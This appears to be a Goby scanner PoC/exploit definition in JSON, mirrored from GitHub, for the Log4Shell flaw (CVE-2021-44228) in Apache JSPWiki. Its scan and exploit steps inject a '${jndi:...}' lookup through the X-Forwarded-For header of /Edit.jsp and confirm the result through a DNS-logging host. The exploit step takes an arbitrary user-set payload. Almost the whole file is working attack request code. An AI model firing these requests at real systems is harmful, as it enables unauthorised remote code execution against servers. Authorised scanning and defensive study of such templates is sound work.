mirror of https://github.com/qwqdanchun/Goby.git
156 lines
5.6 KiB
JSON
156 lines
5.6 KiB
JSON
{
|
||
"Name": "Apache JSPWiki Log4shell CVE-2021-44228 (1)",
|
||
"Level": "3",
|
||
"Tags": [
|
||
"rce"
|
||
],
|
||
"GobyQuery": "( body=\"<div>JSPWiki\" | title=\"JSPWiki\")",
|
||
"Description": "Apache JSPWiki /Edit.jsp?page=Main存在log4j漏洞,会读取X-Forwarded-For参数。",
|
||
"Product": "JSPWiki",
|
||
"Homepage": "https://jspwiki.apache.org/",
|
||
"Author": "aetkrad",
|
||
"Impact": "",
|
||
"Recommendation": "",
|
||
"References": [
|
||
"https://mp.weixin.qq.com/s?__biz=MzA5OTA0MTU4Mg==&mid=2247485581&idx=1&sn=033cafb1442d44e6cfc85796e42f206d"
|
||
],
|
||
"HasExp": true,
|
||
"ExpParams": [
|
||
{
|
||
"Name": "cmd",
|
||
"Type": "input",
|
||
"Value": "${jndi:dns://xxxxdns.cn/tea}"
|
||
}
|
||
],
|
||
"ExpTips": {
|
||
"Type": "",
|
||
"Content": ""
|
||
},
|
||
"ScanSteps": [
|
||
"AND",
|
||
{
|
||
"Request": {
|
||
"method": "GET",
|
||
"uri": "http://www.dnslog.cn/getdomain.php",
|
||
"follow_redirect": false,
|
||
"header": null,
|
||
"data_type": "text",
|
||
"data": "",
|
||
"set_variable": []
|
||
},
|
||
"ResponseTest": {
|
||
"type": "group",
|
||
"operation": "AND",
|
||
"checks": [
|
||
{
|
||
"type": "item",
|
||
"variable": "$code",
|
||
"operation": "==",
|
||
"value": "200",
|
||
"bz": ""
|
||
}
|
||
]
|
||
},
|
||
"SetVariable": [
|
||
"dnstest|lastbody||"
|
||
]
|
||
},
|
||
{
|
||
"Request": {
|
||
"method": "GET",
|
||
"uri": "/Edit.jsp?page=Main",
|
||
"follow_redirect": false,
|
||
"header": {
|
||
"X-Forwarded-For": "${jndi:dns://{{{dnstest}}}/tea}"
|
||
},
|
||
"data_type": "text",
|
||
"data": "",
|
||
"set_variable": []
|
||
},
|
||
"ResponseTest": {
|
||
"type": "group",
|
||
"operation": "AND",
|
||
"checks": [
|
||
{
|
||
"type": "item",
|
||
"variable": "$code",
|
||
"operation": "==",
|
||
"value": "200",
|
||
"bz": ""
|
||
}
|
||
]
|
||
},
|
||
"SetVariable": [
|
||
"output|lastbody|regex|"
|
||
]
|
||
},
|
||
{
|
||
"Request": {
|
||
"method": "GET",
|
||
"uri": "http://www.dnslog.cn/getrecords.php",
|
||
"follow_redirect": false,
|
||
"header": null,
|
||
"data_type": "text",
|
||
"data": "",
|
||
"set_variable": []
|
||
},
|
||
"ResponseTest": {
|
||
"type": "group",
|
||
"operation": "AND",
|
||
"checks": [
|
||
{
|
||
"type": "item",
|
||
"variable": "$code",
|
||
"operation": "==",
|
||
"value": "200",
|
||
"bz": ""
|
||
},
|
||
{
|
||
"type": "item",
|
||
"variable": "$body",
|
||
"operation": "contains",
|
||
"value": "{{{dnstest}}}",
|
||
"bz": ""
|
||
}
|
||
]
|
||
},
|
||
"SetVariable": [
|
||
"output|lastbody|regex|"
|
||
]
|
||
}
|
||
],
|
||
"ExploitSteps": [
|
||
"AND",
|
||
{
|
||
"Request": {
|
||
"method": "GET",
|
||
"uri": "/Edit.jsp?page=Main",
|
||
"follow_redirect": false,
|
||
"header": {
|
||
"X-Forwarded-For": "{{{cmd}}}"
|
||
},
|
||
"data_type": "text",
|
||
"data": "",
|
||
"set_variable": []
|
||
},
|
||
"ResponseTest": {
|
||
"type": "group",
|
||
"operation": "AND",
|
||
"checks": [
|
||
{
|
||
"type": "item",
|
||
"variable": "$code",
|
||
"operation": "==",
|
||
"value": "200",
|
||
"bz": ""
|
||
}
|
||
]
|
||
},
|
||
"SetVariable": [
|
||
"output|lastbody|regex|"
|
||
]
|
||
}
|
||
],
|
||
"PostTime": "2021-12-27 14:17:24",
|
||
"GobyVersion": "1.9.310"
|
||
} |